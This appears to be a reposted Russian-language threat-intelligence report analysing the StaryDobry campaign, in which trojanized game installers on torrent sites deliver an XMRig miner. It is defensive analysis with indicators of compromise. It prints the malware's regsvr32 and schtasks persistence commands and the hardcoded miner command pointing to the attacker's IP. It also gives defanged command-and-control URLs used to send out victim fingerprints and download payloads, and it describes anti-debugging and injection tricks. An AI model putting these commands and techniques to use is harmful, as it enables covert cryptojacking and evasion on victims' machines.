Введение

31 декабря злоумышленники запустили масштабную кампанию, воспользовавшись пониженной бдительностью пользователей и ростом торрент-трафика в праздничный сезон. Наша телеметрия зафиксировала эту атаку, исполнители которой в течение месяца распространяли криптомайнер XMRig. За кампанией стоят ранее неизвестные злоумышленники, опубликовавшие троянизированные версии популярных игр на торрент-сайтах и атакующие пользователей по всему миру, включая Россию, Бразилию, Германию, Беларусь и Казахстан.

В этом отчете мы изучаем, как злоумышленникам удалось избежать обнаружения и запустить сложную цепочку выполнения, используя различные методы обхода защиты.

Решения «Лаборатории Касперского» детектируют эту угрозу как

Trojan.Win64.StaryDobry.*, Trojan-Dropper.Win64.StaryDobry.*, HEUR:Trojan.Win64.StaryDobry.gen.

Первичное заражение

31 декабря мы зафиксировали в нашей телеметрии массовое заражение систем. Дальнейший анализ показал, что эта кампания изначально распространялась через популярные торрент-трекеры. Зараженные версии популярных игр, включая BeamNG.drive, Garry’s Mod, Dyson Sphere Program, Universe Sandbox и Plutocracy, запускали сложную цепочку заражения, которая в итоге развертывала в системе майнер. Эти вредоносные версии были подготовлены заранее и загружены на торрент-трекеры начиная с сентября 2024 года.

Хронология заражения

Вредоносные версии выкладывали разные пользователи, но исходная защита игр была взломана по одинаковому принципу.

Вредоносная торрент-раздача

Среди скомпрометированных установщиков — популярные симуляторы и песочницы, которые занимают мало места на диске. Вот распределение числа пострадавших пользователей по играм на январь 2025 года:

Распределение пострадавших пользователей по играм (скачать)

Эти релизы (или «репаки») обычно распространялись в виде архивов, один из которых мы изучили. Распаковав архив, мы получили троянизированный установщик.

Техническая информация

Троянизированный установщик

После запуска установщика, который представляет собой 32-разрядный исполняемый файл Windows с графическим интерфейсом, появляется экран, предлагающий установить игру, выбрать язык или выйти.

Окно установщика

Установщик был создан с помощью Inno Setup. После декомпиляции установщика мы изучили его код и обнаружили интересный набор функций.

Декомпилированный код установщика

Этот код отвечает за извлечение вредоносных файлов, используемых в атаке. Сначала установщик расшифровывает unrar.dll с помощью функции DECR, которая является оберткой для функции RARExtract из библиотеки rar.dll. Функция RARExtract расшифровывает unrar.dll по алгоритму AES, используя ключ

cls-precompx.dll. Затем во временную папку записываются другие файлы из архива, после чего управление передается функции RARGetDllVersion из вышеупомянутой библиотеки unrar.dll.

Дроппер unrar.dll

Первым делом образец запускает несколько проверок с целью определить, не выполняется ли он в среде отладки. Он ищет внедренные в процессы модули отладчиков и песочниц, а также проверяет реестр и файловую систему на наличие популярных программных решений. Если такое ПО найдено, выполнение сразу прекращается.

Пример проверки на наличие отладчика

Если проверки пройдены успешно, вредоносное ПО запускает cmd.exe, чтобы зарегистрировать unrar.dll в качестве обработчика команд через regsvr32.exe. Образец пытается обратиться к сайтам из следующего списка, чтобы определить IP-адрес пользователя.

api.myip[.]com
ip-api[.]com
ipapi[.]co
freeipapi[.]com
ipwho[.]is
api.miip[.]my

Так зловред выявляет расположение, а именно страну атакованного пользователя. Если не удается определить IP-адрес, код страны устанавливается как

CNOrBY (то есть «Китай или Беларусь»). Затем образец отправляет запрос на URL-адрес hxxps://pinokino[.]fun/donate_button/game_id=%s&donate_text=%s со следующими подстановками:

После game_id= указывается DST_xxxx, где вместо x подставляются цифры. Это значение передается установщиком как аргумент. В этой кампании нам попался образец с DST_1448.
После donate_text= указывается код страны.

После этой нехитрой проверки страны образец получает цифровой отпечаток инфицированного устройства. Отпечаток содержит различные параметры, которые вместе образуют уникальный идентификатор. Выглядит он примерно так:

mac|machineId|username|country|windows|meminGB|numprocessors|video|game_id

Собранные данные кодируются по алгоритму Base64 с поддержкой URL-синтаксиса и отправляются по сети. Затем зловред извлекает значение MachineGUID из раздела реестра HKLMSoftwareMicrosoftCryptography и вычисляет его контрольную сумму SHA256. Затем из получившегося хэша он берет десять символов, начиная с 20-го

(SHA256(MachineGUID)[20:30]). Эта шестнадцатеричная последовательность используется для именования двух новых файлов: %SystemRoot%%hash%.dat и %SystemRoot%%hash%.efi. Первый файл содержит закодированный цифровой отпечаток устройства жертвы, второй представляет собой пустой файл-приманку. Время создания файла .dat подменяется случайной датой в интервале с 01.01.2015 по 25.12.2021.

После этого unrar.dll начинает подготовку к расшифровке и записи файла MTX64.exe на диск. Сначала он выбирает новое имя файла для расшифрованной полезной нагрузки. Зловред ищет файлы в %SystemRoot% или %SystemRoot%Sysnative. Если эти каталоги пусты, расшифрованный файл MTX64.exe будет записан на диск под именем Windows.Graphics.ThumbnailHandler.dll. В противном случае unrar.dll создаст новый файл и назовет его следующим образом: зловред выбирает случайный файл из указанных каталогов, копирует его имя, обрезает расширение и добавляет случайный суффикс из заранее определенного списка. Помимо суффиксов, этот список включает мусорные данные, вероятно, добавленные для обхода обнаружения на основе сигнатур.

Список суффиксов и мусорные данные

Например, если зловред находит в %SystemRoot% файл msvc140.dll, он удаляет его расширение и добавляет к получившейся строке

msvc140 случайный суффикс из списка, например handler.dll. В итоге получается msvc140handler.dll. В этот файл, созданный в каталоге %SystemRoot%, и будет записана расшифрованная полезная нагрузка.

После этого образец открывает зашифрованный файл MTX64.exe и расшифровывает его по алгоритму AES-128 с помощью ключа

cls-precompx.dll.

Загрузчик также подменяет ресурсы библиотеки. Сначала он ищет в файле _res.rc имена и значения свойств DLL, такие как CompanyName, FileVersion и другие, и создает на их основе словарь с парами «ключ — значение». Затем он находит случайную DLL в папке %SystemRoot% (если там не окажется подходящих файлов, загрузчик завершает работу), получает значения свойств этой DLL с помощью WinAPI VerQueryValueW и подменяет соответствующие значения в словаре. Полученные ресурсы встраиваются в расшифрованный DLL-файл MTX64.exe, который затем сохраняется под ранее полученным именем. Кроме того, unrar.dll изменяет время создания получившегося DLL-файла, как это было с файлом с цифровым отпечатком.

Подмененные ресурсы

DLL устанавливается в системе с помощью следующей команды:

cmd.exe /C “cd $system32 && regsvr32.exe /s %dropped_name%.dll”

MTX64

Эта DLL основана на публичном проекте EpubShellExtThumbnailHandler, который является обработчиком эскизов в проводнике Windows. Поведение библиотеки полностью соответствует оригинальному проекту до момента обработки эскизов. DLL регистрируется как обработчик файлов .lnk (ярлыков) и при открытии такого файла пытается обработать его эскиз. Образец использует собственную реализацию функции GetThumbnail и создает отдельный поток для выполнения вредоносных действий.

Сначала этот поток записывает текущую дату и месяц в файл %TEMP%time_windows_com.ini в формате

dd-mm. Затем DLL извлекает MachineGUID из раздела реестра HKLMSOFTWAREMicrosoftCryptography и вычисляет SHA256(MachineGUID)[20:30], как это делал дроппер unrar.dll. После этого зловред проверяет наличие файла .dat под таким названием в каталоге %SystemRoot%. Если файл присутствует, значит, процесс заражения не прерывался, и тогда вредоносная DLL-библиотека извлекает файл с цифровым отпечатком устройства и отправляет на прописанный в коде домен злоумышленников запрос в следующем формате, где uid — это SHA256-хэш цифрового отпечатка.hxxps://promouno[.]shop/check/uid=%s

Сервер отправляет ответ в формате JSON:

{‘code’: ‘reg’}. Затем DLL отправляет еще один запрос на сервер, добавив поле data, которое содержит цифровой отпечаток устройства в кодировке Base64 (uid остается неизменным).hxxps://promouno[.]shop/check/uid=%s&data=%s

В ответ на запрос командный сервер также отправляет JSON, но теперь зловред проверяет, чтобы поле

code было равно 322 или 200. Если это так, образец извлекает контрольную сумму MD5 из поля flmd из этого же JSON и загружает полезную нагрузку следующего этапа с адреса ниже:hxxps://promouno[.]shop/dloadm/uid=%s

Затем образец вычисляет контрольную сумму MD5 полученной полезной нагрузки, которая является kickstarter-модулем в формате PE, и сравнивает ее с MD5-хэшем из JSON. Если они совпадают, образец анализирует структуру PE, чтобы найти таблицу адресов экспорта, получает адрес функции

kickstarter и выполняет ее.

Выполнение функции kickstarter

Kickstarter-модуль

PE-файл модуля Kickstarter имеет среди ресурсов фрагмент зашифрованных данных. Этот фрагмент данных считывается и сохраняется в вектор байтов C++.

Чтение ресурсов

Затем образец выбирает случайное имя для полезной нагрузки, как это было сделано для MTX64.exe во время выполнения unrar.dll. Отличие заключается в том, что, если образец ничего не найдет в папках %SystemRoot% и %SystemRoot%Sysnative, он выберет Unix.Directory.IconHandler.dll в качестве имени файла по умолчанию. Полезная нагрузка сохраняется в %appdataRoamingMicrosoftCredentials%InstallDate%. Чтобы вычислить значение InstallDate, DLL извлекает дату установки системы из раздела реестра HKLMSOFTWAREMicrosoftWindows NTCurrentVersionInstallDate.

После этого фрагмент данных расшифровывается по алгоритму AES-128 с помощью библиотеки CryptoPP, в качестве ключа используется последовательность байтов в диапазоне от

x00 до x10. Расшифрованное содержимое записывается на диск. Этот исполняемый файл также подменяет ресурсы полезной нагрузки, как это было в случае с MTX64.exe, после чего выполняет следующую команду:schtasks /create /tn %s /tr “regsvr32.exe /s %s” /st 00:00 /du 9999:59 /sc once /ri 1 /f

Первый аргумент — это дата установки системы, второй — путь к расшифрованной DLL. Так создается задача в планировщике для регистрации сервера через regsvr32.exe с именем, соответствующим первому аргументу. Задача должна выполняться в 00:00, а любые предупреждения — игнорироваться. Загрузчик отправляет GET-запрос на прописанный в коде адрес

45.200.149[.]58/conf.txt и использует User-Agent: StupidSandwichAgentrn в качестве заголовка.

Загрузчик ожидает ответное сообщение с сервера. Если ответ начинается с

act, образец перестает работать после создания запланированной задачи. Если приходит сообщение noactive, то есть целевое устройство ранее не было зарегистрировано, образец пытается удалить себя с помощью следующей команды, очищая все в каталоге %temp%:

Очистка

Unix.Directory.IconHandler.dll

Далее Unix.Directory.IconHandler.dll создает мьютекс с именем com_curruser_mttx. Если он уже был создан, выполнение немедленно прекращается. Затем DLL ищет файл %TEMP%_cache.binary. Если найти его не удается, образец скачивает бинарный файл напрямую с

45.200.149[.]58 с помощью GET-запроса 44912.f с тем же заголовком User-Agent StupidSandwichAgent. Этот файл записывается во временный каталог, а затем расшифровывается по алгоритму AES-128 с тем же ключом, состоящим из последовательности байтов от x00 до x10.

Затем образец открывает текущий процесс, ищет привилегию SeDebugPrivilege в токене процесса и при необходимости настраивает ее. Мы полагаем, что это сделано для инъекции кода в недавно созданный процесс cmd.exe. Автор пошел по пути наименьшего сопротивления и полностью скопировал инжектор с открытым исходным кодом, включая отладочные строки:

Инжектор

После внедрения кода в интерпретатор команд образец переходит в бесконечный цикл, проверяя, есть ли в списке запущенных процессов taskmgr.exe и procmon.exe. Если образец их обнаруживает, он завершает работу.

Майнер-имплант

Имплант представляет собой модифицированный исполняемый файл майнера XMRig. Вместо парсинга аргументов командной строки он создает заранее прописанную команду.

xmrig –url=45.200.149[.]58:1448 –algo=rx/0 –user=new-www –donate-level=1 –keepalive –nicehash –background –no-title –pass=x –cpu-max-threads-hint=%d

Последний параметр рассчитывается на основе конфигурации процессора: имплант вызывает API GetSystemInfo для определения количества ядер. Если их меньше восьми, майнер не запускается. Кроме того, злоумышленники решили разместить пул для майнинга в своей инфраструктуре, а не использовать публичную.

Созданная командная строка парсится встроенными средствами XMRig. Майнер создает отдельный поток, который отслеживает, не запущены ли в системе диспетчер процессов или аналогичные утилиты, как это делалось на предыдущем этапе.

Защита от отслеживания

Жертвы

Эта кампания ориентирована на частных пользователей, загружающих репаки. Хотя в числе жертв есть и организации, похоже, речь идет об отдельных скомпрометированных компьютерах в корпоративных сетях.

Большинство зараженных пользователей мы отмечаем в России, еще часть — в Беларуси, Казахстане, Германии и Бразилии.

Атрибуция

Между этой кампанией и известными операторами вредоносного ПО нет точных совпадений, поэтому эту атаку нельзя связать с конкретной группой. Использование русского языка в PDB предполагает, что кампанию могли разработать русскоговорящие злоумышленники.

Выводы

StaryDobry, по всей видимости, является разовой кампанией. Злоумышленники использовали сложную цепочку заражения, чтобы доставить майнер, заманив геймеров бесплатными играми. Атакующие были нацелены на производительные игровые компьютеры с достаточной мощностью для непрерывного майнинга. Выбор протокола DoH (DNS поверх HTTPS) позволил злоумышленникам скрыть обмен данными с инфраструктурой, что усложняет обнаружение и отслеживание кампании.

Индикаторы компрометации

Хэш-суммы файлов

15c0396687d4ff36657e0aa680d8ba42
461a0e74321706f5c99b0e92548a1986
821d29d3140dfd67fc9d1858f685e2ac
3c4d0a4dfd53e278b3683679e0656276
04b881d0a17b3a0b34cbdbf00ac19aa2
5cac1df1b9477e40992f4ee3cc2b06ed

Домены и IP-адреса

45.200.149[.]58
45.200.149[.]146
45.200.149[.]148
hxxps://promouno[.]shop
hxxps://pinokino[.]fun

​  

​Securelist

Read More

Ваша реакция?
+1
0
+1
0
+1
0
+1
0
+1
0
+1
0
+1
0
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x